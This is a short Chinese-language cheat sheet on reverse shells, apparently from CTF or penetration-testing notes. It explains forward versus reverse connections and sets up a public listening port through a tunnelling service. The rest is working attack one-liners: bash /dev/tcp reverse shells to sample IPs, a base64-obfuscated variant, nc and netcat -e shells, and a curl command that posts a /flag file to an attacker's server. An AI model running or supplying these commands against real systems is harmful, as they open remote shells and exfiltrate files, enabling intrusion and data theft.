反弹shell

正向链接 #

攻击者连接目标机器,如远程桌面,web服务,ssh等

反向连接 #

相当于角色反转,让目标机器来找我们,为什么要这样做呢

常见于命令不回显,受限于防火墙等

反弹shell,让目标机器来找我们,就得要有一个公网ip

我们用ngrok.cc送的,可以免费用一个公网端口

./sunny clientid 204616381952


free.idcfengye.com:10189

本地映射1234d端口,监听

nc -lvp 1234

常见的方式 #

bash -i >& /dev/tcp/ip/port 0>&1

or

bash -c "bash -i >& /dev/tcp/ip/port 0>&1"#更稳定

or

echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash

or

bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
#对上面进行base64编码=>YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}

解释

命令 详解
bash -i 产生一个bash交互环境
>& 将联合符号前面的内容与后面相结合,然后一起重定向给后者。这样在被攻击机上就不会显示执行的命令
/dev/tcp/47.xxx.xxx.72/2333 Linux环境中所有的内容都是以文件的形式存在的,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。
0>&1 将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容
curl http://vps:7015 -d @/flag

-d参数时post

@后面时这个文件

本地监听就能看到请求的flag

nc -e /bin/sh 192.168.146.129 2333
  • 主要就是上面这些

    netcat 47.xxx.xxx.72 2333 -e /bin/bash